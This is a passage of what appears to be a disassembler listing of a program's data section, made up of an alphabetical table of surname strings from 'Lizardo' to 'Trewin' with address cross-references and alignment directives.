'Lizardo',0 ; DATA XREF: .data:00445DC4o aLocatelli db 'Locatelli',0 ; DATA XREF: .data:00445DC8o align 4 aLongworth db 'Longworth',0 ; DATA XREF: .data:00445DCCo align 10h aLoss db 'Loss',0 ; DATA XREF: .data:00445DD0o align 4 aLoveman db 'Loveman',0 ; DATA XREF: .data:00445DD4o aLowenstein db 'Lowenstein',0 ; DATA XREF: .data:00445DD8o align 4 aLoza db 'Loza',0 ; DATA XREF: .data:00445DDCo align 4 aLubin db 'Lubin',0 ; DATA XREF: .data:00445DE0o align 4 aLucas db 'Lucas',0 ; DATA XREF: .data:00445DE4o align 4 aLuciano db 'Luciano',0 ; DATA XREF: .data:00445DE8o aLuczkow db 'Luczkow',0 ; DATA XREF: .data:00445DECo aLuecke db 'Luecke',0 ; DATA XREF: .data:00445DF0o align 4 aLunetta db 'Lunetta',0 ; DATA XREF: .data:00445DF4o aLuoma db 'Luoma',0 ; DATA XREF: .data:00445DF8o align 4 aLussier db 'Lussier',0 ; DATA XREF: .data:00445DFCo aLutcavage db 'Lutcavage',0 ; DATA XREF: .data:00445E00o align 10h aLuzader db 'Luzader',0 ; DATA XREF: .data:00445E04o aMa db 'Ma',0 ; DATA XREF: .data:00445E08o align 4 aMaccormac db 'Maccormac',0 ; DATA XREF: .data:00445E0Co align 4 aMacdonald db 'Macdonald',0 ; DATA XREF: .data:00445E10o align 4 aMaceachern db 'Maceachern',0 ; DATA XREF: .data:00445E14o align 10h aMacintyre db 'Macintyre',0 ; DATA XREF: .data:00445E18o align 4 aMackenney db 'Mackenney',0 ; DATA XREF: .data:00445E1Co align 4 aMacmillan db 'MacMillan',0 ; DATA XREF: .data:00445E20o align 4 aMacy db 'Macy',0 ; DATA XREF: .data:00445E24o align 4 aMadigan db 'Madigan',0 ; DATA XREF: .data:00445E28o aMaggio db 'Maggio',0 ; DATA XREF: .data:00445E2Co align 4 aMahony db 'Mahony',0 ; DATA XREF: .data:00445E30o align 4 aMaier db 'Maier',0 ; DATA XREF: .data:00445E34o align 4 aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: .data:00445E38o align 4 aMaisano db 'Maisano',0 ; DATA XREF: .data:00445E3Co aMalatesta db 'Malatesta',0 ; DATA XREF: .data:00445E40o align 10h aMaller db 'Maller',0 ; DATA XREF: .data:00445E44o align 4 aMalova db 'Malova',0 ; DATA XREF: .data:00445E48o align 10h aManalis db 'Manalis',0 ; DATA XREF: .data:00445E4Co aMandel db 'Mandel',0 ; DATA XREF: .data:00445E50o align 10h aManganiello db 'Manganiello',0 ; DATA XREF: .data:00445E54o aMantovan db 'Mantovan',0 ; DATA XREF: .data:00445E58o align 4 aMarch_0 db 'March',0 ; DATA XREF: .data:00445E5Co align 10h aMarchbanks db 'Marchbanks',0 ; DATA XREF: .data:00445E60o align 4 aMarcus db 'Marcus',0 ; DATA XREF: .data:00445E64o align 4 aMargalit db 'Margalit',0 ; DATA XREF: .data:00445E68o align 10h aMargetts db 'Margetts',0 ; DATA XREF: .data:00445E6Co align 4 aMarques db 'Marques',0 ; DATA XREF: .data:00445E70o aMartinez db 'Martinez',0 ; DATA XREF: .data:00445E74o align 10h aMartochio db 'Martochio',0 ; DATA XREF: .data:00445E78o align 4 aMarton db 'Marton',0 ; DATA XREF: .data:00445E7Co align 4 aMarubini db 'Marubini',0 ; DATA XREF: .data:00445E80o align 10h aMass db 'Mass',0 ; DATA XREF: .data:00445E84o align 4 aMatalka db 'Matalka',0 ; DATA XREF: .data:00445E88o aMatarazzo db 'Matarazzo',0 ; DATA XREF: .data:00445E8Co align 4 aMatsukata db 'Matsukata',0 ; DATA XREF: .data:00445E90o align 4 aMattson db 'Mattson',0 ; DATA XREF: .data:00445E94o aMauzy db 'Mauzy',0 ; DATA XREF: .data:00445E98o align 4 aMay_0 db 'May',0 ; DATA XREF: .data:00445E9Co aMazzali db 'Mazzali',0 ; DATA XREF: .data:00445EA0o aMazziotta db 'Mazziotta',0 ; DATA XREF: .data:00445EA4o align 10h aMcbride db 'Mcbride',0 ; DATA XREF: .data:00445EA8o aMccaffery db 'Mccaffery',0 ; DATA XREF: .data:00445EACo align 4 aMccall db 'Mccall',0 ; DATA XREF: .data:00445EB0o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: .data:00445EB4o align 4 aMcdowell db 'Mcdowell',0 ; DATA XREF: .data:00445EB8o align 4 aMcelroy db 'Mcelroy',0 ; DATA XREF: .data:00445EBCo aMcfadden db 'McFadden',0 ; DATA XREF: .data:00445EC0o align 4 aMcghee db 'Mcghee',0 ; DATA XREF: .data:00445EC4o align 10h aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: .data:00445EC8o align 4 aMcilroy db 'McIlroy',0 ; DATA XREF: .data:00445ECCo aMcintosh db 'Mcintosh',0 ; DATA XREF: .data:00445ED0o align 10h aMckenna db 'Mckenna',0 ; DATA XREF: .data:00445ED4o aMclane db 'Mclane',0 ; DATA XREF: .data:00445ED8o align 10h aMclaren db 'Mclaren',0 ; DATA XREF: .data:00445EDCo aMcnealy db 'Mcnealy',0 ; DATA XREF: .data:00445EE0o aMcnulty db 'Mcnulty',0 ; DATA XREF: .data:00445EE4o aMeccariello db 'Meccariello',0 ; DATA XREF: .data:00445EE8o aMemisoglu db 'Memisoglu',0 ; DATA XREF: .data:00445EECo align 10h aMenzies db 'Menzies',0 ; DATA XREF: .data:00445EF0o aMerikoski db 'Merikoski',0 ; DATA XREF: .data:00445EF4o align 4 aMerlani db 'Merlani',0 ; DATA XREF: .data:00445EF8o aMerminod db 'Merminod',0 ; DATA XREF: .data:00445EFCo align 4 aMerseth db 'Merseth',0 ; DATA XREF: .data:00445F00o aMerz db 'Merz',0 ; DATA XREF: .data:00445F04o align 4 aMetelka db 'Metelka',0 ; DATA XREF: .data:00445F08o aMetropolis db 'Metropolis',0 ; DATA XREF: .data:00445F0Co align 4 aMeurer db 'Meurer',0 ; DATA XREF: .data:00445F10o align 4 aMichelman db 'Michelman',0 ; DATA XREF: .data:00445F14o align 10h aMiddle db 'Middle',0 ; DATA XREF: .data:00445F18o align 4 aMieher db 'Mieher',0 ; DATA XREF: .data:00445F1Co align 10h aMills db 'Mills',0 ; DATA XREF: .data:00445F20o align 4 aMinh db 'Minh',0 ; DATA XREF: .data:00445F24o align 10h aMini db 'Mini',0 ; DATA XREF: .data:00445F28o align 4 aMinichiello db 'Minichiello',0 ; DATA XREF: .data:00445F2Co aGonzalez db 'Gonzalez',0 ; DATA XREF: .data:00445F30o align 10h aMitropoulos db 'Mitropoulos',0 ; DATA XREF: .data:00445F34o aMittal db 'Mittal',0 ; DATA XREF: .data:00445F38o align 4 aMocroft db 'Mocroft',0 ; DATA XREF: .data:00445F3Co aModestino db 'Modestino',0 ; DATA XREF: .data:00445F40o align 4 aMoeller db 'Moeller',0 ; DATA XREF: .data:00445F44o aMohr db 'Mohr',0 ; DATA XREF: .data:00445F48o align 4 aMoiamedi db 'Moiamedi',0 ; DATA XREF: .data:00445F4Co align 4 aMonque db 'Monque',0 ; DATA XREF: .data:00445F50o align 4 aMontilio db 'Montilio',0 ; DATA XREF: .data:00445F54o align 4 aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: .data:00445F58o align 4 aMorani db 'Morani',0 ; DATA XREF: .data:00445F5Co align 4 aMoreton db 'Moreton',0 ; DATA XREF: .data:00445F60o aMorrison db 'Morrison',0 ; DATA XREF: .data:00445F64o align 10h aMorrow db 'Morrow',0 ; DATA XREF: .data:00445F68o align 4 aMortimer db 'Mortimer',0 ; DATA XREF: .data:00445F6Co align 4 aMosher db 'Mosher',0 ; DATA XREF: .data:00445F70o align 4 aMosler db 'Mosler',0 ; DATA XREF: .data:00445F74o align 4 aMostafavi db 'Mostafavi',0 ; DATA XREF: .data:00445F78o align 10h aMotooka db 'Motooka',0 ; DATA XREF: .data:00445F7Co aMudarri db 'Mudarri',0 ; DATA XREF: .data:00445F80o aMuello db 'Muello',0 ; DATA XREF: .data:00445F84o align 4 aMugnai db 'Mugnai',0 ; DATA XREF: .data:00445F88o align 10h aMulkern db 'Mulkern',0 ; DATA XREF: .data:00445F8Co aMulroy db 'Mulroy',0 ; DATA XREF: .data:00445F90o align 10h aMumford db 'Mumford',0 ; DATA XREF: .data:00445F94o aMussachio db 'Mussachio',0 ; DATA XREF: .data:00445F98o align 4 aNaddeo db 'Naddeo',0 ; DATA XREF: .data:00445F9Co align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: .data:00445FA0o align 4 aNardi db 'Nardi',0 ; DATA XREF: .data:00445FA4o align 10h aNardone db 'Nardone',0 ; DATA XREF: .data:00445FA8o aNaviaux db 'Naviaux',0 ; DATA XREF: .data:00445FACo aNayduch db 'Nayduch',0 ; DATA XREF: .data:00445FB0o aNelson db 'Nelson',0 ; DATA XREF: .data:00445FB4o align 10h aNenna db 'Nenna',0 ; DATA XREF: .data:00445FB8o align 4 aNesci db 'Nesci',0 ; DATA XREF: .data:00445FBCo align 10h aNeuman db 'Neuman',0 ; DATA XREF: .data:00445FC0o align 4 aNewfeld db 'Newfeld',0 ; DATA XREF: .data:00445FC4o aNewlin db 'Newlin',0 ; DATA XREF: .data:00445FC8o align 4 aNg db 'Ng',0 ; DATA XREF: .data:00445FCCo align 4 aNi_0 db 'Ni',0 ; DATA XREF: .data:00445FD0o align 10h aNickerson db 'Nickerson',0 ; DATA XREF: .data:00445FD4o align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: .data:00445FD8o align 4 aNisenson db 'Nisenson',0 ; DATA XREF: .data:00445FDCo align 4 aNitabach db 'Nitabach',0 ; DATA XREF: .data:00445FE0o align 10h aNotman db 'Notman',0 ; DATA XREF: .data:00445FE4o align 4 aNuzum db 'Nuzum',0 ; DATA XREF: .data:00445FE8o align 10h aOcougne db 'Ocougne',0 ; DATA XREF: .data:00445FECo aOgata db 'Ogata',0 ; DATA XREF: .data:00445FF0o align 10h aOh db 'Oh',0 ; DATA XREF: .data:00445FF4o align 4 aOHagan db 'O',27h,'hagan',0 ; DATA XREF: .data:00445FF8o aOldford db 'Oldford',0 ; DATA XREF: .data:00445FFCo aOlsen db 'Olsen',0 ; DATA XREF: .data:00446000o align 4 aOlson db 'Olson',0 ; DATA XREF: .data:00446004o align 4 aOlszewski db 'Olszewski',0 ; DATA XREF: .data:00446008o align 10h aOMalley db 'O',27h,'malley',0 ; DATA XREF: .data:0044600Co align 4 aOman db 'Oman',0 ; DATA XREF: .data:00446010o align 4 aOMeara db 'O',27h,'meara',0 ; DATA XREF: .data:00446014o aOpel db 'Opel',0 ; DATA XREF: .data:00446018o align 4 aOray db 'Oray',0 ; DATA XREF: .data:0044601Co align 4 aOrfield db 'Orfield',0 ; DATA XREF: .data:00446020o aOrsi db 'Orsi',0 ; DATA XREF: .data:00446024o align 4 aOspina db 'Ospina',0 ; DATA XREF: .data:00446028o align 4 aOstrowski db 'Ostrowski',0 ; DATA XREF: .data:0044602Co align 10h aOttaviani db 'Ottaviani',0 ; DATA XREF: .data:00446030o align 4 aOtten db 'Otten',0 ; DATA XREF: .data:00446034o align 4 aOuchida db 'Ouchida',0 ; DATA XREF: .data:00446038o aOvid db 'Ovid',0 ; DATA XREF: .data:0044603Co align 4 aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: .data:00446040o align 4 aPaine db 'Paine',0 ; DATA XREF: .data:00446044o align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: .data:00446048o align 4 aPalepu db 'Palepu',0 ; DATA XREF: .data:0044604Co align 10h aPallara db 'Pallara',0 ; DATA XREF: .data:00446050o aPalmitesta db 'Palmitesta',0 ; DATA XREF: .data:00446054o align 4 aPanadero db 'Panadero',0 ; DATA XREF: .data:00446058o align 10h aPanizzon db 'Panizzon',0 ; DATA XREF: .data:0044605Co align 4 aPantilla db 'Pantilla',0 ; DATA XREF: .data:00446060o align 4 aPaoletti db 'Paoletti',0 ; DATA XREF: .data:00446064o align 4 aParmeggiani db 'Parmeggiani',0 ; DATA XREF: .data:00446068o aParris db 'Parris',0 ; DATA XREF: .data:0044606Co align 4 aPartridge db 'Partridge',0 ; DATA XREF: .data:00446070o align 4 aPascucci db 'Pascucci',0 ; DATA XREF: .data:00446074o align 10h aPatefield db 'Patefield',0 ; DATA XREF: .data:00446078o align 4 aPatrick db 'Patrick',0 ; DATA XREF: .data:0044607Co aPattullo db 'Pattullo',0 ; DATA XREF: .data:00446080o align 10h aPavetti db 'Pavetti',0 ; DATA XREF: .data:00446084o aPavlon db 'Pavlon',0 ; DATA XREF: .data:00446088o align 10h aPawloski db 'Pawloski',0 ; DATA XREF: .data:0044608Co align 4 aPaynter db 'Paynter',0 ; DATA XREF: .data:00446090o aPeabody db 'Peabody',0 ; DATA XREF: .data:00446094o aPearlberg db 'Pearlberg',0 ; DATA XREF: .data:00446098o align 4 aPederson db 'Pederson',0 ; DATA XREF: .data:0044609Co align 4 aPeishel db 'Peishel',0 ; DATA XREF: .data:004460A0o aPenny db 'Penny',0 ; DATA XREF: .data:004460A4o align 4 aPereira db 'Pereira',0 ; DATA XREF: .data:004460A8o aPerko db 'Perko',0 ; DATA XREF: .data:004460ACo align 4 aPerlak db 'Perlak',0 ; DATA XREF: .data:004460B0o align 4 aPerlman db 'Perlman',0 ; DATA XREF: .data:004460B4o aPerna db 'Perna',0 ; DATA XREF: .data:004460B8o align 4 aPerone db 'Perone',0 ; DATA XREF: .data:004460BCo align 4 aPerrimon db 'Perrimon',0 ; DATA XREF: .data:004460C0o align 10h aPeters db 'Peters',0 ; DATA XREF: .data:004460C4o align 4 aPetruzello db 'Petruzello',0 ; DATA XREF: .data:004460C8o align 4 aPettibone db 'Pettibone',0 ; DATA XREF: .data:004460CCo align 10h aPettit db 'Pettit',0 ; DATA XREF: .data:004460D0o align 4 aPfister db 'Pfister',0 ; DATA XREF: .data:004460D4o aPilbeam db 'Pilbeam',0 ; DATA XREF: .data:004460D8o aPinot db 'Pinot',0 ; DATA XREF: .data:004460DCo align 10h aPlancon db 'Plancon',0 ; DATA XREF: .data:004460E0o aPlant db 'Plant',0 ; DATA XREF: .data:004460E4o align 10h aPlasket db 'Plasket',0 ; DATA XREF: .data:004460E8o aPlous db 'Plous',0 ; DATA XREF: .data:004460ECo align 10h aPo db 'Po',0 ; DATA XREF: .data:004460F0o align 4 aPocobene db 'Pocobene',0 ; DATA XREF: .data:004460F4o align 10h aPoincaire db 'Poincaire',0 ; DATA XREF: .data:004460F8o align 4 aPointer db 'Pointer',0 ; DATA XREF: .data:004460FCo aPoirier db 'Poirier',0 ; DATA XREF: .data:00446100o aPolak db 'Polak',0 ; DATA XREF: .data:00446104o align 4 aPolanyi db 'Polanyi',0 ; DATA XREF: .data:00446108o aPolitis db 'Politis',0 ; DATA XREF: .data:0044610Co aPoma db 'Poma',0 ; DATA XREF: .data:00446110o align 4 aPoolman db 'Poolman',0 ; DATA XREF: .data:00446114o aPowers db 'Powers',0 ; DATA XREF: .data:00446118o align 4 aPresper db 'Presper',0 ; DATA XREF: .data:0044611Co aPreucel db 'Preucel',0 ; DATA XREF: .data:00446120o aPrevost db 'Prevost',0 ; DATA XREF: .data:00446124o aPritchard db 'Pritchard',0 ; DATA XREF: .data:00446128o align 10h aPritz db 'Pritz',0 ; DATA XREF: .data:0044612Co align 4 aProietti db 'Proietti',0 ; DATA XREF: .data:00446130o align 4 aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: .data:00446134o align 4 aPuccia db 'Puccia',0 ; DATA XREF: .data:00446138o align 4 aPugh db 'Pugh',0 ; DATA XREF: .data:0044613Co align 4 aPynchon db 'Pynchon',0 ; DATA XREF: .data:00446140o aQuaday db 'Quaday',0 ; DATA XREF: .data:00446144o align 4 aQuetin db 'Quetin',0 ; DATA XREF: .data:00446148o align 4 aRabe db 'Rabe',0 ; DATA XREF: .data:0044614Co align 4 aRabkin db 'Rabkin',0 ; DATA XREF: .data:00446150o align 4 aRadeke db 'Radeke',0 ; DATA XREF: .data:00446154o align 4 aRajagopalan db 'Rajagopalan',0 ; DATA XREF: .data:00446158o aRaney db 'Raney',0 ; DATA XREF: .data:0044615Co align 4 aRangan db 'Rangan',0 ; DATA XREF: .data:00446160o align 10h aRankin db 'Rankin',0 ; DATA XREF: .data:00446164o align 4 aRapple db 'Rapple',0 ; DATA XREF: .data:00446168o align 10h aRayport db 'Rayport',0 ; DATA XREF: .data:0044616Co aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: .data:00446170o align 4 aReedquist db 'Reedquist',0 ; DATA XREF: .data:00446174o align 4 aCunningham db 'Cunningham',0 ; DATA XREF: .data:00446178o align 10h aReinold db 'Reinold',0 ; DATA XREF: .data:0044617Co aRemak db 'Remak',0 ; DATA XREF: .data:00446180o align 10h aRenick db 'Renick',0 ; DATA XREF: .data:00446184o align 4 aRepetto db 'Repetto',0 ; DATA XREF: .data:00446188o aResnik db 'Resnik',0 ; DATA XREF: .data:0044618Co align 4 aRhea db 'Rhea',0 ; DATA XREF: .data:00446190o align 10h aRichmond db 'Richmond',0 ; DATA XREF: .data:00446194o align 4 aRielly db 'Rielly',0 ; DATA XREF: .data:00446198o align 4 aRindos db 'Rindos',0 ; DATA XREF: .data:0044619Co align 4 aRineer db 'Rineer',0 ; DATA XREF: .data:004461A0o align 4 aRish db 'Rish',0 ; DATA XREF: .data:004461A4o align 4 aRivera db 'Rivera',0 ; DATA XREF: .data:004461A8o align 4 aRobinson db 'Robinson',0 ; DATA XREF: .data:004461ACo align 10h aRocha db 'Rocha',0 ; DATA XREF: .data:004461B0o align 4 aRoesler db 'Roesler',0 ; DATA XREF: .data:004461B4o aRogers db 'Rogers',0 ; DATA XREF: .data:004461B8o align 4 aRonen db 'Ronen',0 ; DATA XREF: .data:004461BCo align 10h aRow db 'Row',0 ; DATA XREF: .data:004461C0o aRoyal db 'Royal',0 ; DATA XREF: .data:004461C4o align 4 aRu db 'Ru',0 ; DATA XREF: .data:004461C8o align 10h aRuan db 'Ruan',0 ; DATA XREF: .data:004461CCo align 4 aRuderman db 'Ruderman',0 ; DATA XREF: .data:004461D0o align 4 aRuescher db 'Ruescher',0 ; DATA XREF: .data:004461D4o align 10h aRush db 'Rush',0 ; DATA XREF: .data:004461D8o align 4 aRyu db 'Ryu',0 ; DATA XREF: .data:004461DCo aSabatello db 'Sabatello',0 ; DATA XREF: .data:004461E0o align 4 aSadler db 'Sadler',0 ; DATA XREF: .data:004461E4o align 10h aSafire db 'Safire',0 ; DATA XREF: .data:004461E8o align 4 aSahu db 'Sahu',0 ; DATA XREF: .data:004461ECo align 10h aSali db 'Sali',0 ; DATA XREF: .data:004461F0o align 4 aSamson db 'Samson',0 ; DATA XREF: .data:004461F4o align 10h aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: .data:004461F8o aSanna db 'Sanna',0 ; DATA XREF: .data:004461FCo align 4 aSapers db 'Sapers',0 ; DATA XREF: .data:00446200o align 10h aSarin db 'Sarin',0 ; DATA XREF: .data:00446204o align 4 aSartore db 'Sartore',0 ; DATA XREF: .data:00446208o aSase db 'Sase',0 ; DATA XREF: .data:0044620Co align 4 aSatin db 'Satin',0 ; DATA XREF: .data:00446210o align 10h aSatta db 'Satta',0 ; DATA XREF: .data:00446214o align 4 aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: .data:00446218o align 4 aSawtell db 'Sawtell',0 ; DATA XREF: .data:0044621Co aSayied db 'Sayied',0 ; DATA XREF: .data:00446220o align 4 aScarponi db 'Scarponi',0 ; DATA XREF: .data:00446224o align 4 aScepan db 'Scepan',0 ; DATA XREF: .data:00446228o align 4 aScharf db 'Scharf',0 ; DATA XREF: .data:0044622Co align 4 aScharlemann db 'Scharlemann',0 ; DATA XREF: .data:00446230o aScheiner db 'Scheiner',0 ; DATA XREF: .data:00446234o align 4 aSchiano db 'Schiano',0 ; DATA XREF: .data:00446238o aSchifini db 'Schifini',0 ; DATA XREF: .data:0044623Co align 10h aSchilling db 'Schilling',0 ; DATA XREF: .data:00446240o align 4 aSchmitt db 'Schmitt',0 ; DATA XREF: .data:00446244o aSchossberger db 'Schossberger',0 ; DATA XREF: .data:00446248o align 4 aSchuman db 'Schuman',0 ; DATA XREF: .data:0044624Co aSchutte db 'Schutte',0 ; DATA XREF: .data:00446250o aSchuyler db 'Schuyler',0 ; DATA XREF: .data:00446254o align 10h aSchwan db 'Schwan',0 ; DATA XREF: .data:00446258o align 4 aSchwickrath db 'Schwickrath',0 ; DATA XREF: .data:0044625Co aScovel db 'Scovel',0 ; DATA XREF: .data:00446260o align 4 aScudder db 'Scudder',0 ; DATA XREF: .data:00446264o aSeaton db 'Seaton',0 ; DATA XREF: .data:00446268o align 4 aSeeber db 'Seeber',0 ; DATA XREF: .data:0044626Co align 4 aSegal db 'Segal',0 ; DATA XREF: .data:00446270o align 4 aSekler db 'Sekler',0 ; DATA XREF: .data:00446274o align 4 aSelvage db 'Selvage',0 ; DATA XREF: .data:00446278o aSen db 'Sen',0 ; DATA XREF: .data:0044627Co aSennett db 'Sennett',0 ; DATA XREF: .data:00446280o aSeterdahl db 'Seterdahl',0 ; DATA XREF: .data:00446284o align 4 aSexton db 'Sexton',0 ; DATA XREF: .data:00446288o align 4 aSeyfert db 'Seyfert',0 ; DATA XREF: .data:0044628Co aShaikh db 'Shaikh',0 ; DATA XREF: .data:00446290o align 4 aShakis db 'Shakis',0 ; DATA XREF: .data:00446294o align 4 aShankland db 'Shankland',0 ; DATA XREF: .data:00446298o align 10h aShanley db 'Shanley',0 ; DATA XREF: .data:0044629Co aShar db 'Shar',0 ; DATA XREF: .data:004462A0o align 10h aShatrov db 'Shatrov',0 ; DATA XREF: .data:004462A4o aShavelson db 'Shavelson',0 ; DATA XREF: .data:004462A8o align 4 aShea db 'Shea',0 ; DATA XREF: .data:004462ACo align 4 aSheats db 'Sheats',0 ; DATA XREF: .data:004462B0o align 4 aShepherd db 'Shepherd',0 ; DATA XREF: .data:004462B4o align 10h aSheppard db 'Sheppard',0 ; DATA XREF: .data:004462B8o align 4 aShepstone db 'Shepstone',0 ; DATA XREF: .data:004462BCo align 4 aShesko db 'Shesko',0 ; DATA XREF: .data:004462C0o align 10h aShia db 'Shia',0 ; DATA XREF: .data:004462C4o align 4 aShibata db 'Shibata',0 ; DATA XREF: .data:004462C8o aShimon db 'Shimon',0 ; DATA XREF: .data:004462CCo align 4 aSiesto db 'Siesto',0 ; DATA XREF: .data:004462D0o align 10h aSigalot db 'Sigalot',0 ; DATA XREF: .data:004462D4o aSigini db 'Sigini',0 ; DATA XREF: .data:004462D8o align 10h aSigna db 'Signa',0 ; DATA XREF: .data:004462DCo align 4 aSilverman db 'Silverman',0 ; DATA XREF: .data:004462E0o align 4 aSilvetti db 'Silvetti',0 ; DATA XREF: .data:004462E4o align 10h aSinsabaugh db 'Sinsabaugh',0 ; DATA XREF: .data:004462E8o align 4 aSirilli db 'Sirilli',0 ; DATA XREF: .data:004462ECo aSites db 'Sites',0 ; DATA XREF: .data:004462F0o align 4 aSkane db 'Skane',0 ; DATA XREF: .data:004462F4o align 4 aSkerry db 'Skerry',0 ; DATA XREF: .data:004462F8o align 4 aSkoda db 'Skoda',0 ; DATA XREF: .data:004462FCo align 4 aSloan db 'Sloan',0 ; DATA XREF: .data:00446300o align 4 aSlowe db 'Slowe',0 ; DATA XREF: .data:00446304o align 4 aSmilow db 'Smilow',0 ; DATA XREF: .data:00446308o align 4 aSniffen db 'Sniffen',0 ; DATA XREF: .data:0044630Co aSnodgrass db 'Snodgrass',0 ; DATA XREF: .data:00446310o align 10h aSocolow db 'Socolow',0 ; DATA XREF: .data:00446314o aSolon db 'Solon',0 ; DATA XREF: .data:00446318o align 10h aSomers db 'Somers',0 ; DATA XREF: .data:0044631Co align 4 aSommariva db 'Sommariva',0 ; DATA XREF: .data:00446320o align 4 aSorabella db 'Sorabella',0 ; DATA XREF: .data:00446324o align 10h aSorg db 'Sorg',0 ; DATA XREF: .data:00446328o align 4 aSottak db 'Sottak',0 ; DATA XREF: .data:0044632Co align 10h aSoukup db 'Soukup',0 ; DATA XREF: .data:00446330o align 4 aSoule db 'Soule',0 ; DATA XREF: .data:00446334o align 10h aSoultanian db 'Soultanian',0 ; DATA XREF: .data:00446338o align 4 aSpanier db 'Spanier',0 ; DATA XREF: .data:0044633Co aSparrow db 'Sparrow',0 ; DATA XREF: .data:00446340o aSpaulding db 'Spaulding',0 ; DATA XREF: .data:00446344o align 4 aSpeizer db 'Speizer',0 ; DATA XREF: .data:00446348o aSpence db 'Spence',0 ; DATA XREF: .data:0044634Co align 4 aSperber db 'Sperber',0 ; DATA XREF: .data:00446350o aSpicer db 'Spicer',0 ; DATA XREF: .data:00446354o align 4 aSpiegelhalter db 'Spiegelhalter',0 ; DATA XREF: .data:00446358o align 4 aSpiliotis db 'Spiliotis',0 ; DATA XREF: .data:0044635Co align 4 aSpinrad db 'Spinrad',0 ; DATA XREF: .data:00446360o aStmartin db 'StMartin',0 ; DATA XREF: .data:00446364o align 4 aStalvey db 'Stalvey',0 ; DATA XREF: .data:00446368o aStam db 'Stam',0 ; DATA XREF: .data:0044636Co align 4 aStang db 'Stang',0 ; DATA XREF: .data:00446370o align 10h aStassinopolus db 'Stassinopolus',0 ; DATA XREF: .data:00446374o align 10h aStates db 'States',0 ; DATA XREF: .data:00446378o align 4 aStatlender db 'Statlender',0 ; DATA XREF: .data:0044637Co align 4 aStefani db 'Stefani',0 ; DATA XREF: .data:00446380o aSteiner db 'Steiner',0 ; DATA XREF: .data:00446384o aStephanian db 'Stephanian',0 ; DATA XREF: .data:00446388o align 10h aStepniewska db 'Stepniewska',0 ; DATA XREF: .data:0044638Co aStewartOaten db 'Stewart-Oaten',0 ; DATA XREF: .data:00446390o align 4 aStiepock db 'Stiepock',0 ; DATA XREF: .data:00446394o align 4 aStillwell db 'Stillwell',0 ; DATA XREF: .data:00446398o align 4 aStock db 'Stock',0 ; DATA XREF: .data:0044639Co align 4 aStockton db 'Stockton',0 ; DATA XREF: .data:004463A0o align 4 aStockwell db 'Stockwell',0 ; DATA XREF: .data:004463A4o align 4 aStolzenberg db 'Stolzenberg',0 ; DATA XREF: .data:004463A8o aStonich db 'Stonich',0 ; DATA XREF: .data:004463ACo aStorer db 'Storer',0 ; DATA XREF: .data:004463B0o align 10h aStott db 'Stott',0 ; DATA XREF: .data:004463B4o align 4 aStrange db 'Strange',0 ; DATA XREF: .data:004463B8o aStrauch db 'Strauch',0 ; DATA XREF: .data:004463BCo aStreiff db 'Streiff',0 ; DATA XREF: .data:004463C0o aStringer db 'Stringer',0 ; DATA XREF: .data:004463C4o align 4 aSullivan db 'Sullivan',0 ; DATA XREF: .data:004463C8o align 4 aSumner db 'Sumner',0 ; DATA XREF: .data:004463CCo align 10h aSuo db 'Suo',0 ; DATA XREF: .data:004463D0o aSurdam db 'Surdam',0 ; DATA XREF: .data:004463D4o align 4 aSweeting db 'Sweeting',0 ; DATA XREF: .data:004463D8o align 4 aSweetser db 'Sweetser',0 ; DATA XREF: .data:004463DCo align 4 aSwindle db 'Swindle',0 ; DATA XREF: .data:004463E0o aTagiuri db 'Tagiuri',0 ; DATA XREF: .data:004463E4o aTai db 'Tai',0 ; DATA XREF: .data:004463E8o aTalaugon db 'Talaugon',0 ; DATA XREF: .data:004463ECo align 4 aTambiah db 'Tambiah',0 ; DATA XREF: .data:004463F0o aTandler db 'Tandler',0 ; DATA XREF: .data:004463F4o aTanowitz db 'Tanowitz',0 ; DATA XREF: .data:004463F8o align 10h aTatar db 'Tatar',0 ; DATA XREF: .data:004463FCo align 4 aTaveras db 'Taveras',0 ; DATA XREF: .data:00446400o aTawn db 'Tawn',0 ; DATA XREF: .data:00446404o align 4 aTcherepnin db 'Tcherepnin',0 ; DATA XREF: .data:00446408o align 4 aTeague db 'Teague',0 ; DATA XREF: .data:0044640Co align 4 aTemes db 'Temes',0 ; DATA XREF: .data:00446410o align 4 aTemmer db 'Temmer',0 ; DATA XREF: .data:00446414o align 4 aTenney db 'Tenney',0 ; DATA XREF: .data:00446418o align 4 aTerracini db 'Terracini',0 ; DATA XREF: .data:0044641Co align 10h aThan db 'Than',0 ; DATA XREF: .data:00446420o align 4 aThavaneswaran db 'Thavaneswaran',0 ; DATA XREF: .data:00446424o align 4 aTheodos db 'Theodos',0 ; DATA XREF: .data:00446428o aThibault db 'Thibault',0 ; DATA XREF: .data:0044642Co align 4 aThisted db 'Thisted',0 ; DATA XREF: .data:00446430o aThomsen db 'Thomsen',0 ; DATA XREF: .data:00446434o aThroop db 'Throop',0 ; DATA XREF: .data:00446438o align 4 aTierney db 'Tierney',0 ; DATA XREF: .data:0044643Co aTill db 'Till',0 ; DATA XREF: .data:00446440o align 4 aTimmons db 'Timmons',0 ; DATA XREF: .data:00446444o aTofallis db 'Tofallis',0 ; DATA XREF: .data:00446448o align 4 aTollestrup db 'Tollestrup',0 ; DATA XREF: .data:0044644Co align 4 aTolls db 'Tolls',0 ; DATA XREF: .data:00446450o align 4 aTolman db 'Tolman',0 ; DATA XREF: .data:00446454o align 4 aTomford db 'Tomford',0 ; DATA XREF: .data:00446458o aToomer db 'Toomer',0 ; DATA XREF: .data:0044645Co align 4 aTopulos db 'Topulos',0 ; DATA XREF: .data:00446460o aTorresi db 'Torresi',0 ; DATA XREF: .data:00446464o aTorske db 'Torske',0 ; DATA XREF: .data:00446468o align 4 aTowler db 'Towler',0 ; DATA XREF: .data:0044646Co align 4 aToye db 'Toye',0 ; DATA XREF: .data:00446470o align 4 aTraebert db 'Traebert',0 ; DATA XREF: .data:00446474o align 4 aTrenga db 'Trenga',0 ; DATA XREF: .data:00446478o align 10h aTrewin db 'Trewin',0 ; DATA XREF: 